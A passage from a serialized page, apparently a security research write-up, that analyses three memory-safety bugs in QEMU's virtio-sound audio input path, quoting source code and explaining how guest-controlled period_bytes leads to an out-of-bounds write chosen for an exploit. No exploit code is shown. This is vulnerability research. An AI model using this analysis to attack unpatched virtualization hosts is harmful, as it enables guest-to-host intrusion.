tag":41,"props":124821,"children":124822},{"style":858},[124823],{"type":28,"value":124824},"in_num\n",{"type":23,"tag":41,"props":124826,"children":124827},{"class":43,"line":1188},[124828],{"type":23,"tag":41,"props":124829,"children":124830},{"style":70},[124831],{"type":28,"value":124832},"            );\n",{"type":23,"tag":41,"props":124834,"children":124835},{"class":43,"line":1979},[124836,124841],{"type":23,"tag":41,"props":124837,"children":124838},{"style":58},[124839],{"type":28,"value":124840},"            for",{"type":23,"tag":41,"props":124842,"children":124843},{"style":70},[124844],{"type":28,"value":123644},{"type":23,"tag":41,"props":124846,"children":124847},{"class":43,"line":2002},[124848,124852,124856,124861,124865,124869,124873,124878],{"type":23,"tag":41,"props":124849,"children":124850},{"style":58},[124851],{"type":28,"value":103238},{"type":23,"tag":41,"props":124853,"children":124854},{"style":70},[124855],{"type":28,"value":142},{"type":23,"tag":41,"props":124857,"children":124858},{"style":858},[124859],{"type":28,"value":124860},"buffer",{"type":23,"tag":41,"props":124862,"children":124863},{"style":70},[124864],{"type":28,"value":2453},{"type":23,"tag":41,"props":124866,"children":124867},{"style":858},[124868],{"type":28,"value":123978},{"type":23,"tag":41,"props":124870,"children":124871},{"style":170},[124872],{"type":28,"value":8301},{"type":23,"tag":41,"props":124874,"children":124875},{"style":70},[124876],{"type":28,"value":124877}," max_size) {",{"type":23,"tag":41,"props":124879,"children":124880},{"style":48},[124881],{"type":28,"value":124882},"     // [2]\n",{"type":23,"tag":41,"props":124884,"children":124885},{"class":43,"line":3835},[124886,124891],{"type":23,"tag":41,"props":124887,"children":124888},{"style":114},[124889],{"type":28,"value":124890},"                    return_rx_buffer",{"type":23,"tag":41,"props":124892,"children":124893},{"style":70},[124894],{"type":28,"value":124895},"(stream, buffer);\n",{"type":23,"tag":41,"props":124897,"children":124898},{"class":43,"line":3895},[124899,124904],{"type":23,"tag":41,"props":124900,"children":124901},{"style":58},[124902],{"type":28,"value":124903},"                    break",{"type":23,"tag":41,"props":124905,"children":124906},{"style":70},[124907],{"type":28,"value":183},{"type":23,"tag":41,"props":124909,"children":124910},{"class":43,"line":9044},[124911],{"type":23,"tag":41,"props":124912,"children":124913},{"style":70},[124914],{"type":28,"value":71066},{"type":23,"tag":41,"props":124916,"children":124917},{"class":43,"line":9061},[124918,124923,124927,124932,124936,124940,124944,124949,124953,124957],{"type":23,"tag":41,"props":124919,"children":124920},{"style":70},[124921],{"type":28,"value":124922},"                size ",{"type":23,"tag":41,"props":124924,"children":124925},{"style":170},[124926],{"type":28,"value":2381},{"type":23,"tag":41,"props":124928,"children":124929},{"style":114},[124930],{"type":28,"value":124931}," AUD_read",{"type":23,"tag":41,"props":124933,"children":124934},{"style":70},[124935],{"type":28,"value":1737},{"type":23,"tag":41,"props":124937,"children":124938},{"style":858},[124939],{"type":28,"value":36256},{"type":23,"tag":41,"props":124941,"children":124942},{"style":70},[124943],{"type":28,"value":2453},{"type":23,"tag":41,"props":124945,"children":124946},{"style":858},[124947],{"type":28,"value":124948},"voice",{"type":23,"tag":41,"props":124950,"children":124951},{"style":70},[124952],{"type":28,"value":706},{"type":23,"tag":41,"props":124954,"children":124955},{"style":858},[124956],{"type":28,"value":95216},{"type":23,"tag":41,"props":124958,"children":124959},{"style":70},[124960],{"type":28,"value":3506},{"type":23,"tag":41,"props":124962,"children":124963},{"class":43,"line":9106},[124964,124969,124973,124977,124981,124986,124990,124994],{"type":23,"tag":41,"props":124965,"children":124966},{"style":858},[124967],{"type":28,"value":124968},"                        buffer",{"type":23,"tag":41,"props":124970,"children":124971},{"style":70},[124972],{"type":28,"value":2453},{"type":23,"tag":41,"props":124974,"children":124975},{"style":858},[124976],{"type":28,"value":3701},{"type":23,"tag":41,"props":124978,"children":124979},{"style":170},[124980],{"type":28,"value":8901},{"type":23,"tag":41,"props":124982,"children":124983},{"style":858},[124984],{"type":28,"value":124985}," buffer",{"type":23,"tag":41,"props":124987,"children":124988},{"style":70},[124989],{"type":28,"value":2453},{"type":23,"tag":41,"props":124991,"children":124992},{"style":858},[124993],{"type":28,"value":123978},{"type":23,"tag":41,"props":124995,"children":124996},{"style":70},[124997],{"type":28,"value":3506},{"type":23,"tag":41,"props":124999,"children":125000},{"class":43,"line":9212},[125001,125006,125011,125015,125019,125023,125027,125032,125036],{"type":23,"tag":41,"props":125002,"children":125003},{"style":114},[125004],{"type":28,"value":125005},"                        MIN",{"type":23,"tag":41,"props":125007,"children":125008},{"style":70},[125009],{"type":28,"value":125010},"(available, (",{"type":23,"tag":41,"props":125012,"children":125013},{"style":858},[125014],{"type":28,"value":36256},{"type":23,"tag":41,"props":125016,"children":125017},{"style":70},[125018],{"type":28,"value":2453},{"type":23,"tag":41,"props":125020,"children":125021},{"style":858},[125022],{"type":28,"value":98000},{"type":23,"tag":41,"props":125024,"children":125025},{"style":70},[125026],{"type":28,"value":706},{"type":23,"tag":41,"props":125028,"children":125029},{"style":858},[125030],{"type":28,"value":125031},"period_bytes",{"type":23,"tag":41,"props":125033,"children":125034},{"style":170},[125035],{"type":28,"value":51250},{"type":23,"tag":41,"props":125037,"children":125038},{"style":48},[125039],{"type":28,"value":125040},"     // [3]\n",{"type":23,"tag":41,"props":125042,"children":125043},{"class":43,"line":23496},[125044,125049,125053,125057],{"type":23,"tag":41,"props":125045,"children":125046},{"style":858},[125047],{"type":28,"value":125048},"                                        buffer",{"type":23,"tag":41,"props":125050,"children":125051},{"style":70},[125052],{"type":28,"value":2453},{"type":23,"tag":41,"props":125054,"children":125055},{"style":858},[125056],{"type":28,"value":123978},{"type":23,"tag":41,"props":125058,"children":125059},{"style":70},[125060],{"type":28,"value":125061},")));\n",{"type":23,"tag":41,"props":125063,"children":125064},{"class":43,"line":23531},[125065,125069,125073,125077],{"type":23,"tag":41,"props":125066,"children":125067},{"style":58},[125068],{"type":28,"value":103238},{"type":23,"tag":41,"props":125070,"children":125071},{"style":70},[125072],{"type":28,"value":142},{"type":23,"tag":41,"props":125074,"children":125075},{"style":170},[125076],{"type":28,"value":2630},{"type":23,"tag":41,"props":125078,"children":125079},{"style":70},[125080],{"type":28,"value":125081},"size) {\n",{"type":23,"tag":41,"props":125083,"children":125084},{"class":43,"line":23539},[125085,125090,125094,125098],{"type":23,"tag":41,"props":125086,"children":125087},{"style":70},[125088],{"type":28,"value":125089},"                    available ",{"type":23,"tag":41,"props":125091,"children":125092},{"style":170},[125093],{"type":28,"value":2381},{"type":23,"tag":41,"props":125095,"children":125096},{"style":164},[125097],{"type":28,"value":392},{"type":23,"tag":41,"props":125099,"children":125100},{"style":70},[125101],{"type":28,"value":183},{"type":23,"tag":41,"props":125103,"children":125104},{"class":43,"line":23547},[125105,125109],{"type":23,"tag":41,"props":125106,"children":125107},{"style":58},[125108],{"type":28,"value":124903},{"type":23,"tag":41,"props":125110,"children":125111},{"style":70},[125112],{"type":28,"value":183},{"type":23,"tag":41,"props":125114,"children":125115},{"class":43,"line":23556},[125116],{"type":23,"tag":41,"props":125117,"children":125118},{"style":70},[125119],{"type":28,"value":71066},{"type":23,"tag":41,"props":125121,"children":125122},{"class":43,"line":23598},[125123,125127,125131,125135,125139],{"type":23,"tag":41,"props":125124,"children":125125},{"style":858},[125126],{"type":28,"value":124780},{"type":23,"tag":41,"props":125128,"children":125129},{"style":70},[125130],{"type":28,"value":2453},{"type":23,"tag":41,"props":125132,"children":125133},{"style":858},[125134],{"type":28,"value":123978},{"type":23,"tag":41,"props":125136,"children":125137},{"style":170},[125138],{"type":28,"value":15056},{"type":23,"tag":41,"props":125140,"children":125141},{"style":70},[125142],{"type":28,"value":124320},{"type":23,"tag":41,"props":125144,"children":125145},{"class":43,"line":23631},[125146,125151,125155],{"type":23,"tag":41,"props":125147,"children":125148},{"style":70},[125149],{"type":28,"value":125150},"                available ",{"type":23,"tag":41,"props":125152,"children":125153},{"style":170},[125154],{"type":28,"value":103703},{"type":23,"tag":41,"props":125156,"children":125157},{"style":70},[125158],{"type":28,"value":124320},{"type":23,"tag":41,"props":125160,"children":125161},{"class":43,"line":23639},[125162],{"type":23,"tag":41,"props":125163,"children":125164},{"style":70},[125165],{"type":28,"value":125166},"                [...]\n",{"type":23,"tag":41,"props":125168,"children":125169},{"class":43,"line":23647},[125170],{"type":23,"tag":41,"props":125171,"children":125172},{"style":70},[125173],{"type":28,"value":58881},{"type":23,"tag":41,"props":125175,"children":125176},{"class":43,"line":23656},[125177],{"type":23,"tag":41,"props":125178,"children":125179},{"style":70},[125180],{"type":28,"value":3347},{"type":23,"tag":41,"props":125182,"children":125183},{"class":43,"line":23732},[125184],{"type":23,"tag":41,"props":125185,"children":125186},{"style":70},[125187],{"type":28,"value":192},{"type":23,"tag":41,"props":125189,"children":125190},{"class":43,"line":23765},[125191],{"type":23,"tag":41,"props":125192,"children":125193},{"style":70},[125194],{"type":28,"value":201},{"type":23,"tag":24,"props":125196,"children":125197},{},[125198,125199,125204,125205,125211,125213,125219,125221,125226,125227,125232,125234,125239],{"type":28,"value":124100},{"type":23,"tag":37,"props":125200,"children":125202},{"className":125201},[],[125203],{"type":28,"value":124106},{"type":28,"value":970},{"type":23,"tag":37,"props":125206,"children":125208},{"className":125207},[],[125209],{"type":28,"value":125210},"max_size",{"type":28,"value":125212}," is set to ",{"type":23,"tag":37,"props":125214,"children":125216},{"className":125215},[],[125217],{"type":28,"value":125218},"iov_size(in_sg, in_num)",{"type":28,"value":125220},". Both ",{"type":23,"tag":37,"props":125222,"children":125224},{"className":125223},[],[125225],{"type":28,"value":123831},{"type":28,"value":1361},{"type":23,"tag":37,"props":125228,"children":125230},{"className":125229},[],[125231],{"type":28,"value":123848},{"type":28,"value":125233}," are the same guest-controlled fields from ",{"type":23,"tag":37,"props":125235,"children":125237},{"className":125236},[],[125238],{"type":28,"value":123483},{"type":28,"value":706},{"type":23,"tag":24,"props":125241,"children":125242},{},[125243,125245,125250,125252,125258,125260,125266,125268,125274],{"type":28,"value":125244},"Later, at ",{"type":23,"tag":37,"props":125246,"children":125248},{"className":125247},[],[125249],{"type":28,"value":124141},{"type":28,"value":125251},", the code checks whether ",{"type":23,"tag":37,"props":125253,"children":125255},{"className":125254},[],[125256],{"type":28,"value":125257},"buffer->size >= max_size",{"type":28,"value":125259},". In the RX path, ",{"type":23,"tag":37,"props":125261,"children":125263},{"className":125262},[],[125264],{"type":28,"value":125265},"buffer->size",{"type":28,"value":125267}," tracks how many bytes have been written into ",{"type":23,"tag":37,"props":125269,"children":125271},{"className":125270},[],[125272],{"type":28,"value":125273},"buffer->data",{"type":28,"value":125275},", not the size of the allocation itself. This check is therefore intended to stop reading once the buffer is full.",{"type":23,"tag":24,"props":125277,"children":125278},{},[125279,125281,125286,125288,125294,125296,125301,125303,125309],{"type":28,"value":125280},"However, this does not match the allocation logic in ",{"type":23,"tag":37,"props":125282,"children":125284},{"className":125283},[],[125285],{"type":28,"value":123483},{"type":28,"value":125287},", which used: ",{"type":23,"tag":37,"props":125289,"children":125291},{"className":125290},[],[125292],{"type":28,"value":125293},"size = iov_size(elem->in_sg, elem->in_num) - sizeof(virtio_snd_pcm_status);",{"type":28,"value":125295},". In other words, the allocation subtracts ",{"type":23,"tag":37,"props":125297,"children":125299},{"className":125298},[],[125300],{"type":28,"value":124207},{"type":28,"value":125302},", but the later bound in ",{"type":23,"tag":37,"props":125304,"children":125306},{"className":125305},[],[125307],{"type":28,"value":125308},"virtio_snd_pcm_in_cb",{"type":28,"value":125310}," does not. That mismatch gives us a second bug: an 8-byte OOB write.",{"type":23,"tag":24,"props":125312,"children":125313},{},[125314,125316,125321,125323,125329,125331,125337,125339,125344,125346,125352,125354,125360,125362,125367,125369,125374],{"type":28,"value":125315},"Finally, at ",{"type":23,"tag":37,"props":125317,"children":125319},{"className":125318},[],[125320],{"type":28,"value":124165},{"type":28,"value":125322},", the code calls ",{"type":23,"tag":37,"props":125324,"children":125326},{"className":125325},[],[125327],{"type":28,"value":125328},"AUD_read",{"type":28,"value":125330}," with the following limit:\n",{"type":23,"tag":37,"props":125332,"children":125334},{"className":125333},[],[125335],{"type":28,"value":125336},"MIN(available, stream->params.period_bytes - buffer->size)",{"type":28,"value":125338},". Notice how this bound does not take ",{"type":23,"tag":37,"props":125340,"children":125342},{"className":125341},[],[125343],{"type":28,"value":125210},{"type":28,"value":125345}," into account at all. That means if ",{"type":23,"tag":37,"props":125347,"children":125349},{"className":125348},[],[125350],{"type":28,"value":125351},"available",{"type":28,"value":125353}," is larger than the allocated buffer, and ",{"type":23,"tag":37,"props":125355,"children":125357},{"className":125356},[],[125358],{"type":28,"value":125359},"stream->params.period_bytes",{"type":28,"value":125361}," is also larger than the allocated buffer, ",{"type":23,"tag":37,"props":125363,"children":125365},{"className":125364},[],[125366],{"type":28,"value":125328},{"type":28,"value":125368}," will write past the end of ",{"type":23,"tag":37,"props":125370,"children":125372},{"className":125371},[],[125373],{"type":28,"value":125273},{"type":28,"value":125375}," - the third, and final, bug we found.",{"type":23,"tag":24,"props":125377,"children":125378},{},[125379,125381,125386,125388,125394],{"type":28,"value":125380},"Looking further at the code, we can see that ",{"type":23,"tag":37,"props":125382,"children":125384},{"className":125383},[],[125385],{"type":28,"value":125359},{"type":28,"value":125387}," is fully guest-controlled by issuing a ",{"type":23,"tag":37,"props":125389,"children":125391},{"className":125390},[],[125392],{"type":28,"value":125393},"VIRTIO_SND_R_PCM_SET_PARAMS",{"type":28,"value":125395}," request:",{"type":23,"tag":31,"props":125397,"children":125399},{"code":125398,"language":3146,"meta":7,"className":16503,"style":7},"static\nuint32_t virtio_snd_set_pcm_params(VirtIOSound *s,\n                                   uint32_t stream_id,\n                                   virtio_snd_pcm_set_params *params)\n{\n    virtio_snd_pcm_set_params *st_params;\n\n    [...]\n\n    st_params = virtio_snd_pcm_get_params(s, stream_id);\n\n    [...]\n\n    st_params->buffer_bytes = le32_to_cpu(params->buffer_bytes);\n    st_params->period_bytes = le32_to_cpu(params->period_bytes);\n    st_params->features = le32_to_cpu(params->features);\n    /* the following are uint8_t, so there's no need to bswap the values. */\n    st_params->channels = params->channels;\n    st_params->format = params->format;\n    st_params->rate = params->rate;\n\n    return cpu_to_le32(VIRTIO_SND_S_OK);\n}\n",[125400],{"type":23,"tag":37,"props":125401,"children":125402},{"__ignoreMap":7},[125403,125411,125440,125457,125477,125484,125501,125508,125515,125522,125544,125551,125558,125565,125611,125654,125698,125706,125743,125779,125815,125822,125839],{"type":23,"tag":41,"props":125404,"children":125405},{"class":43,"line":44},[125406],{"type":23,"tag":41,"props":125407,"children":125408},{"style":64},[125409],{"type":28,"value":125410},"static\n",{"type":23,"tag":41,"props":125412,"children":125413},{"class":43,"line":54},[125414,125418,125423,125428,125432,125436],{"type":23,"tag":41,"props":125415,"children":125416},{"style":64},[125417],{"type":28,"value":57929},{"type":23,"tag":41,"props":125419,"children":125420},{"style":114},[125421],{"type":28,"value":125422}," virtio_snd_set_pcm_params",{"type":23,"tag":41,"props":125424,"children":125425},{"style":70},[125426],{"type":28,"value":125427},"(VirtIOSound ",{"type":23,"tag":41,"props":125429,"children":125430},{"style":170},[125431],{"type":28,"value":377},{"type":23,"tag":41,"props":125433,"children":125434},{"style":858},[125435],{"type":28,"value":10649},{"type":23,"tag":41,"props":125437,"children":125438},{"style":70},[125439],{"type":28,"value":3506},{"type":23,"tag":41,"props":125441,"children":125442},{"class":43,"line":76},[125443,125448,125453],{"type":23,"tag":41,"props":125444,"children":125445},{"style":64},[125446],{"type":28,"value":125447},"                                   uint32_t",{"type":23,"tag":41,"props":125449,"children":125450},{"style":858},[125451],{"type":28,"value":125452}," stream_id",{"type":23,"tag":41,"props":125454,"children":125455},{"style":70},[125456],{"type":28,"value":3506},{"type":23,"tag":41,"props":125458,"children":125459},{"class":43,"line":85},[125460,125465,125469,125473],{"type":23,"tag":41,"props":125461,"children":125462},{"style":70},[125463],{"type":28,"value":125464},"                                   virtio_snd_pcm_set_params ",{"type":23,"tag":41,"props":125466,"children":125467},{"style":170},[125468],{"type":28,"value":377},{"type":23,"tag":41,"props":125470,"children":125471},{"style":858},[125472],{"type":28,"value":98000},{"type":23,"tag":41,"props":125474,"children":125475},{"style":70},[125476],{"type":28,"value":1969},{"type":23,"tag":41,"props":125478,"children":125479},{"class":43,"line":105},[125480],{"type":23,"tag":41,"props":125481,"children":125482},{"style":70},[125483],{"type":28,"value":1559},{"type":23,"tag":41,"props":125485,"children":125486},{"class":43,"line":155},[125487,125492,125496],{"type":23,"tag":41,"props":125488,"children":125489},{"style":70},[125490],{"type":28,"value":125491},"    virtio_snd_pcm_set_params ",{"type":23,"tag":41,"props":125493,"children":125494},{"style":170},[125495],{"type":28,"value":377},{"type":23,"tag":41,"props":125497,"children":125498},{"style":70},[125499],{"type":28,"value":125500},"st_params;\n",{"type":23,"tag":41,"props":125502,"children":125503},{"class":43,"line":186},[125504],{"type":23,"tag":41,"props":125505,"children":125506},{"emptyLinePlaceholder":18},[125507],{"type":28,"value":82},{"type":23,"tag":41,"props":125509,"children":125510},{"class":43,"line":195},[125511],{"type":23,"tag":41,"props":125512,"children":125513},{"style":70},[125514],{"type":28,"value":104519},{"type":23,"tag":41,"props":125516,"children":125517},{"class":43,"line":905},[125518],{"type":23,"tag":41,"props":125519,"children":125520},{"emptyLinePlaceholder":18},[125521],{"type":28,"value":82},{"type":23,"tag":41,"props":125523,"children":125524},{"class":43,"line":922},[125525,125530,125534,125539],{"type":23,"tag":41,"props":125526,"children":125527},{"style":70},[125528],{"type":28,"value":125529},"    st_params ",{"type":23,"tag":41,"props":125531,"children":125532},{"style":170},[125533],{"type":28,"value":2381},{"type":23,"tag":41,"props":125535,"children":125536},{"style":114},[125537],{"type":28,"value":125538}," virtio_snd_pcm_get_params",{"type":23,"tag":41,"props":125540,"children":125541},{"style":70},[125542],{"type":28,"value":125543},"(s, stream_id);\n",{"type":23,"tag":41,"props":125545,"children":125546},{"class":43,"line":930},[125547],{"type":23,"tag":41,"props":125548,"children":125549},{"emptyLinePlaceholder":18},[125550],{"type":28,"value":82},{"type":23,"tag":41,"props":125552,"children":125553},{"class":43,"line":939},[125554],{"type":23,"tag":41,"props":125555,"children":125556},{"style":70},[125557],{"type":28,"value":104519},{"type":23,"tag":41,"props":125559,"children":125560},{"class":43,"line":947},[125561],{"type":23,"tag":41,"props":125562,"children":125563},{"emptyLinePlaceholder":18},[125564],{"type":28,"value":82},{"type":23,"tag":41,"props":125566,"children":125567},{"class":43,"line":985},[125568,125573,125577,125582,125586,125591,125595,125599,125603,125607],{"type":23,"tag":41,"props":125569,"children":125570},{"style":858},[125571],{"type":28,"value":125572},"    st_params",{"type":23,"tag":41,"props":125574,"children":125575},{"style":70},[125576],{"type":28,"value":2453},{"type":23,"tag":41,"props":125578,"children":125579},{"style":858},[125580],{"type":28,"value":125581},"buffer_bytes",{"type":23,"tag":41,"props":125583,"children":125584},{"style":170},[125585],{"type":28,"value":3017},{"type":23,"tag":41,"props":125587,"children":125588},{"style":114},[125589],{"type":28,"value":125590}," le32_to_cpu",{"type":23,"tag":41,"props":125592,"children":125593},{"style":70},[125594],{"type":28,"value":1737},{"type":23,"tag":41,"props":125596,"children":125597},{"style":858},[125598],{"type":28,"value":98000},{"type":23,"tag":41,"props":125600,"children":125601},{"style":70},[125602],{"type":28,"value":2453},{"type":23,"tag":41,"props":125604,"children":125605},{"style":858},[125606],{"type":28,"value":125581},{"type":23,"tag":41,"props":125608,"children":125609},{"style":70},[125610],{"type":28,"value":3825},{"type":23,"tag":41,"props":125612,"children":125613},{"class":43,"line":1058},[125614,125618,125622,125626,125630,125634,125638,125642,125646,125650],{"type":23,"tag":41,"props":125615,"children":125616},{"style":858},[125617],{"type":28,"value":125572},{"type":23,"tag":41,"props":125619,"children":125620},{"style":70},[125621],{"type":28,"value":2453},{"type":23,"tag":41,"props":125623,"children":125624},{"style":858},[125625],{"type":28,"value":125031},{"type":23,"tag":41,"props":125627,"children":125628},{"style":170},[125629],{"type":28,"value":3017},{"type":23,"tag":41,"props":125631,"children":125632},{"style":114},[125633],{"type":28,"value":125590},{"type":23,"tag":41,"props":125635,"children":125636},{"style":70},[125637],{"type":28,"value":1737},{"type":23,"tag":41,"props":125639,"children":125640},{"style":858},[125641],{"type":28,"value":98000},{"type":23,"tag":41,"props":125643,"children":125644},{"style":70},[125645],{"type":28,"value":2453},{"type":23,"tag":41,"props":125647,"children":125648},{"style":858},[125649],{"type":28,"value":125031},{"type":23,"tag":41,"props":125651,"children":125652},{"style":70},[125653],{"type":28,"value":3825},{"type":23,"tag":41,"props":125655,"children":125656},{"class":43,"line":1084},[125657,125661,125665,125670,125674,125678,125682,125686,125690,125694],{"type":23,"tag":41,"props":125658,"children":125659},{"style":858},[125660],{"type":28,"value":125572},{"type":23,"tag":41,"props":125662,"children":125663},{"style":70},[125664],{"type":28,"value":2453},{"type":23,"tag":41,"props":125666,"children":125667},{"style":858},[125668],{"type":28,"value":125669},"features",{"type":23,"tag":41,"props":125671,"children":125672},{"style":170},[125673],{"type":28,"value":3017},{"type":23,"tag":41,"props":125675,"children":125676},{"style":114},[125677],{"type":28,"value":125590},{"type":23,"tag":41,"props":125679,"children":125680},{"style":70},[125681],{"type":28,"value":1737},{"type":23,"tag":41,"props":125683,"children":125684},{"style":858},[125685],{"type":28,"value":98000},{"type":23,"tag":41,"props":125687,"children":125688},{"style":70},[125689],{"type":28,"value":2453},{"type":23,"tag":41,"props":125691,"children":125692},{"style":858},[125693],{"type":28,"value":125669},{"type":23,"tag":41,"props":125695,"children":125696},{"style":70},[125697],{"type":28,"value":3825},{"type":23,"tag":41,"props":125699,"children":125700},{"class":43,"line":1102},[125701],{"type":23,"tag":41,"props":125702,"children":125703},{"style":48},[125704],{"type":28,"value":125705},"    /* the following are uint8_t, so there's no need to bswap the values. */\n",{"type":23,"tag":41,"props":125707,"children":125708},{"class":43,"line":1110},[125709,125713,125717,125722,125726,125731,125735,125739],{"type":23,"tag":41,"props":125710,"children":125711},{"style":858},[125712],{"type":28,"value":125572},{"type":23,"tag":41,"props":125714,"children":125715},{"style":70},[125716],{"type":28,"value":2453},{"type":23,"tag":41,"props":125718,"children":125719},{"style":858},[125720],{"type":28,"value":125721},"channels",{"type":23,"tag":41,"props":125723,"children":125724},{"style":170},[125725],{"type":28,"value":3017},{"type":23,"tag":41,"props":125727,"children":125728},{"style":858},[125729],{"type":28,"value":125730}," params",{"type":23,"tag":41,"props":125732,"children":125733},{"style":70},[125734],{"type":28,"value":2453},{"type":23,"tag":41,"props":125736,"children":125737},{"style":858},[125738],{"type":28,"value":125721},{"type":23,"tag":41,"props":125740,"children":125741},{"style":70},[125742],{"type":28,"value":183},{"type":23,"tag":41,"props":125744,"children":125745},{"class":43,"line":1118},[125746,125750,125754,125759,125763,125767,125771,125775],{"type":23,"tag":41,"props":125747,"children":125748},{"style":858},[125749],{"type":28,"value":125572},{"type":23,"tag":41,"props":125751,"children":125752},{"style":70},[125753],{"type":28,"value":2453},{"type":23,"tag":41,"props":125755,"children":125756},{"style":858},[125757],{"type":28,"value":125758},"format",{"type":23,"tag":41,"props":125760,"children":125761},{"style":170},[125762],{"type":28,"value":3017},{"type":23,"tag":41,"props":125764,"children":125765},{"style":858},[125766],{"type":28,"value":125730},{"type":23,"tag":41,"props":125768,"children":125769},{"style":70},[125770],{"type":28,"value":2453},{"type":23,"tag":41,"props":125772,"children":125773},{"style":858},[125774],{"type":28,"value":125758},{"type":23,"tag":41,"props":125776,"children":125777},{"style":70},[125778],{"type":28,"value":183},{"type":23,"tag":41,"props":125780,"children":125781},{"class":43,"line":1137},[125782,125786,125790,125795,125799,125803,125807,125811],{"type":23,"tag":41,"props":125783,"children":125784},{"style":858},[125785],{"type":28,"value":125572},{"type":23,"tag":41,"props":125787,"children":125788},{"style":70},[125789],{"type":28,"value":2453},{"type":23,"tag":41,"props":125791,"children":125792},{"style":858},[125793],{"type":28,"value":125794},"rate",{"type":23,"tag":41,"props":125796,"children":125797},{"style":170},[125798],{"type":28,"value":3017},{"type":23,"tag":41,"props":125800,"children":125801},{"style":858},[125802],{"type":28,"value":125730},{"type":23,"tag":41,"props":125804,"children":125805},{"style":70},[125806],{"type":28,"value":2453},{"type":23,"tag":41,"props":125808,"children":125809},{"style":858},[125810],{"type":28,"value":125794},{"type":23,"tag":41,"props":125812,"children":125813},{"style":70},[125814],{"type":28,"value":183},{"type":23,"tag":41,"props":125816,"children":125817},{"class":43,"line":1163},[125818],{"type":23,"tag":41,"props":125819,"children":125820},{"emptyLinePlaceholder":18},[125821],{"type":28,"value":82},{"type":23,"tag":41,"props":125823,"children":125824},{"class":43,"line":1188},[125825,125829,125834],{"type":23,"tag":41,"props":125826,"children":125827},{"style":58},[125828],{"type":28,"value":1090},{"type":23,"tag":41,"props":125830,"children":125831},{"style":114},[125832],{"type":28,"value":125833}," cpu_to_le32",{"type":23,"tag":41,"props":125835,"children":125836},{"style":70},[125837],{"type":28,"value":125838},"(VIRTIO_SND_S_OK);\n",{"type":23,"tag":41,"props":125840,"children":125841},{"class":43,"line":1979},[125842],{"type":23,"tag":41,"props":125843,"children":125844},{"style":70},[125845],{"type":28,"value":201},{"type":23,"tag":24,"props":125847,"children":125848},{},[125849,125851,125856,125858,125864,125866,125871,125873,125878,125880,125886,125887,125892],{"type":28,"value":125850},"Among the guest-controlled PCM parameters, format matters later for exploit reliability. For 8-bit PCM, QEMU accepts both unsigned (",{"type":23,"tag":37,"props":125852,"children":125854},{"className":125853},[],[125855],{"type":28,"value":3419},{"type":28,"value":125857},") and signed (",{"type":23,"tag":37,"props":125859,"children":125861},{"className":125860},[],[125862],{"type":28,"value":125863},"s8",{"type":28,"value":125865},") samples. They encode the same waveform differently - silence is ",{"type":23,"tag":37,"props":125867,"children":125869},{"className":125868},[],[125870],{"type":28,"value":29436},{"type":28,"value":125872}," in ",{"type":23,"tag":37,"props":125874,"children":125876},{"className":125875},[],[125877],{"type":28,"value":3419},{"type":28,"value":125879},", but ",{"type":23,"tag":37,"props":125881,"children":125883},{"className":125882},[],[125884],{"type":28,"value":125885},"0x00",{"type":28,"value":125872},{"type":23,"tag":37,"props":125888,"children":125890},{"className":125889},[],[125891],{"type":28,"value":125863},{"type":28,"value":706},{"type":23,"tag":442,"props":125894,"children":125895},{},[],{"type":23,"tag":24,"props":125897,"children":125898},{},[125899],{"type":28,"value":125900},"To summarize:",{"type":23,"tag":5436,"props":125902,"children":125903},{},[125904,125923,125941],{"type":23,"tag":421,"props":125905,"children":125906},{},[125907,125909,125914,125916,125921],{"type":28,"value":125908},"an integer underflow in the ",{"type":23,"tag":37,"props":125910,"children":125912},{"className":125911},[],[125913],{"type":28,"value":123978},{"type":28,"value":125915}," calculation in ",{"type":23,"tag":37,"props":125917,"children":125919},{"className":125918},[],[125920],{"type":28,"value":123483},{"type":28,"value":125922},", resulting in an 8-byte (or less) under-allocation",{"type":23,"tag":421,"props":125924,"children":125925},{},[125926,125928,125933,125934,125939],{"type":28,"value":125927},"a mismatch in the ",{"type":23,"tag":37,"props":125929,"children":125931},{"className":125930},[],[125932],{"type":28,"value":125210},{"type":28,"value":125915},{"type":23,"tag":37,"props":125935,"children":125937},{"className":125936},[],[125938],{"type":28,"value":125308},{"type":28,"value":125940},", leading to at most 8-byte OOB write",{"type":23,"tag":421,"props":125942,"children":125943},{},[125944,125946,125951,125953,125958,125960,125965],{"type":28,"value":125945},"a missing bound in the ",{"type":23,"tag":37,"props":125947,"children":125949},{"className":125948},[],[125950],{"type":28,"value":123978},{"type":28,"value":125952}," passed to ",{"type":23,"tag":37,"props":125954,"children":125956},{"className":125955},[],[125957],{"type":28,"value":125328},{"type":28,"value":125959},", which does not take the actual buffer allocation size into account and can therefore lead to an OOB write of an arbitrary length, up to ",{"type":23,"tag":37,"props":125961,"children":125963},{"className":125962},[],[125964],{"type":28,"value":125351},{"type":28,"value":82283},{"type":23,"tag":24,"props":125967,"children":125968},{},[125969,125971,125976,125978,125983,125985,125991],{"type":28,"value":125970},"In our exploit, we focus on the third bug because it provides the largest overflow and therefore the most useful primitive. In practice, the actual write is still bounded by ",{"type":23,"tag":37,"props":125972,"children":125974},{"className":125973},[],[125975],{"type":28,"value":125351},{"type":28,"value":125977},", but in our setup with the ALSA backend, ",{"type":23,"tag":37,"props":125979,"children":125981},{"className":125980},[],[125982],{"type":28,"value":125351},{"type":28,"value":125984}," was consistently around ",{"type":23,"tag":37,"props":125986,"children":125988},{"className":125987},[],[125989],{"type":28,"value":125990},"4096",{"type":28,"value":706},{"type":23,"tag":24,"props":125993,"children":125994},{},[125995,125997,126004,126005,126012],{"type":28,"value":125996},"It is also worth noting that the timing here was particularly unlucky - these bugs had been present in QEMU for over two years, but they were fixed (",{"type":23,"tag":458,"props":125998,"children":126001},{"href":125999,"rel":126000},"https://github.com/qemu/qemu/commit/bcb53328aa70023f1405fade4e253e7f77567261",[462],[126002],{"type":28,"value":126003},"commit 1",{"type":28,"value":970},{"type":23,"tag":458,"props":126006,"children":126009},{"href":126007,"rel":126008},"https://github.com/qemu/qemu/commit/7994203bb1b83a6604f3ab00fe9598909bb66164",[462],[126010],{"type":28,"value":126011},"commit 2",{"type":28,"value":126013},") in the very same week that we independently found them while manually reviewing the code.",{"type":23,"tag":446,"props":126015,"children":126016},{"id":99826},[126017],{"type":28,"value":99829},{"type":23,"tag":24,"props":126019,"children":126020},{},[126021],{"type":28,"value":126022},"Each of these bugs is in the audio input path. Since that audio input comes from the host side, the bytes written out of bounds are not controlled by the guest and, from the exploit perspective, can be treated as effectively random.",{"type":23,"tag":24,"props":126024,"children":126025},{},[126026],{"type":28,"value":126027},"This gives an interesting challenge: how do you exploit an out-of-bounds write when you do not control the data being 